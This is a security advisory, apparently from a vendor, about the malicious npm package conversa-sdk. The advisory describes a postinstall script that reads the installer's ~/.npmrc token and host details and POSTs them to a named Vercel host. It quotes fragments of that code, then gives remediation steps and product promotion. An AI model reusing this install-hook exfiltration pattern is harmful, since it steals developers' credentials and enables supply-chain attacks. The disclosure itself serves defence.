conversa-sdknpm
conversa-sdk is a confirmed malicious npm package (MAL-2026-6185) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.9, 2.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in conversa-sdk (npm)
What this malware does
On npm install, postinstall.js unconditionally reads the installer's ~/.npmrc (which typically contains //registry.npmjs.org/:_authToken=...) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to https://chatbot-lac-eight-78.vercel.app/api/validate. The relevant code is at postinstall.js:23 (fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')) and postinstall.js:27-42 (JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... }) sent via https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for conversa-sdk (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging conversa-sdk across your stack and pipelines.
If you installed it — respond
conversa-sdk is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If conversa-sdk was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks conversa-sdk before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks conversa-sdk-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.